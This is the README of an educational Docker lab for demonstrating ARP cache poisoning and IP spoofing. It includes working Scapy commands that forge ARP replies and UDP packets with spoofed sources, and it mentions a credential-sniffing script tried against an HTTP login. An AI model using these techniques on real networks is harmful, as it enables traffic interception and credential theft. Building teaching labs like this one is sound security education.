This repository contains a minimal lab setup for demoing ARP cache poisoning and IP spoofing.
The code contained in this repository is intentionally INSECURE and must NOT be used in production!
- Install
docker
anddocker-compose
- Clone this repo
- Run
docker-compose build
to build the images
You get three images for
victim
attacker
udpserv
that are used by the containers described in the next section.
After the images are built, run the containers via the command:
$ docker-compose up -d
[+] Running 0/4
⠋ Container alice Creating
⠋ Container evie Creating
⠋ Container bob Creating
⠋ Container udpserv Creating
...
For accessing the containers, refer to the section at the end of this document.
If you need to explicitly rebuild the images use docker-compose up -d --build
.
There are three containers based on two images
Name | IP address | MAC address | Role | Service |
---|---|---|---|---|
alice |
10.10.0.101 | 00:00:00:00:00:01 | Victim | 80/tcp (http) |
bob |
10.10.0.102 | 00:00:00:00:00:02 | Victim | 80/tcp (http) |
evie |
10.10.0.103 | 00:00:00:00:00:03 | Attacker | - |
udpserv |
10.10.0.104 | 00:00:00:00:00:04 | UDP Echo Server | 9999/udp (echo) |
Tell alice
that the ip address of bob
resides at evie's
mac address.
$ scapy
...
>>> a = ARP() # create an ARP packet
>>> a.show() # have a look at the ARP packet
>>> a.op = 'is-at' # Unsolicited ARP
>>> a.pdst = '10.10.0.101' # L3-Dst: Alice
>>> a.psrc = '10.10.0.102' # L3-Src: Bob
>>> a.hwdst = '00:00:00:00:00:01' # L2-Dst: Alice
>>> a.hwsrc = '00:00:00:00:00:03' # L2-Src: Evie
>>> a.show() # check the values again
>>> send(a) # send the Packet (on L3, for convenience)
>>> ...
During the attack, monitor the system's ARP cache for changes via
$ watch -d -n1 "ip neigh show"
Every 1.0s: ip neigh show
10.10.0.102 dev eth0 lladdr 00:00:00:00:00:02 REACHABLE
...
If the attack was successful you should be able to see the MAC address of bob's
ip changing to evie's
MAC address.
watch
executes the commandip neigh show
(show ARP cache) every second (-n1
) and highlights changes (-d
).
Sometimes the ARP cache does not get overwritten immediately - so try another time if there is no success.
Notes for
spoofing.py
:
- Reports captured HTTP data twice (incoming and outgoing - needs filtering)
- Sometimes packets are not captured
To start the automatic ARP cache poisoning, run on evie
:
$ python3 spoofing.py
... # wait for output
and let a client do an HTTP request (on alice
):
# HTTP GET
$ curl "http://bob/login?user=myuser&pass=mysecret"
...
# HTTP POST
$ curl "http://bob/login" --data "user=myuser&pass=mysecret"
...
For the IP spoofing we use a echo server that just returns the request-data 10 times to the address contained in the IP-packet's source
field.
To check if the UDP Echo server is running you can
nc -u 10.10.0.104 9999
from any other machine in this lab setup and send some arbitrary data. You should receive 10-times your request.
On the attacker (evie
) create a packet that is addressed to the echo server and contains e.g. alice's
IP address in the src
-field.
$ scapy
...
# Create a IP/UDP/Data-Packet and send it via L3 to the Server
>>> send(IP(dst='10.10.0.104', src='10.10.0.101')/UDP(dport=9999)/Raw(load="abc"))
...
Monitor the incoming UDP data on alice
using:
$ tcpdump -i eth0 -X udp
...
15:21:59.013318 IP udpserv.arplab_lab-net.9999 > alice.53: 24930 updateM+ [b2&3=0x6361] [24930a] [25187q] [25441n] [25187au] [|domain]
0x0000: 4500 003a 6ed3 4000 4011 b6ff 0a0a 0068 E..:n.@.@......h
0x0010: 0a0a 0065 270f 0035 0026 1518 6162 6361 ...e'..5.&..abca
0x0020: 6263 6162 6361 6263 6162 6361 6263 6162 bcabcabcabcabcab
0x0030: 6361 6263 6162 6361 6263 cabcabcabc
...
# Bring containers up
$ docker-compose up -d
# Show logs of all containers
$ docker-compose logs -f
# Bring all containers down
$ docker-compose down
...
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> victim:1.0 "python3 app.py" 4 seconds ago Up 2 seconds alice
<id> udpserv:1.0 "python3 server.py" 4 seconds ago Up 2 seconds udpserv
<id> victim:1.0 "python3 app.py" 4 seconds ago Up 2 seconds bob
<id> attacker:1.0 "/bin/sh" 4 seconds ago Up 2 seconds evie
Start a shell in one of the containers (by name of the container):
$ docker exec -it evie /bin/bash
root@evie:/#
The work in this repository may be reused under the terms of (CC BY-SA 4.0).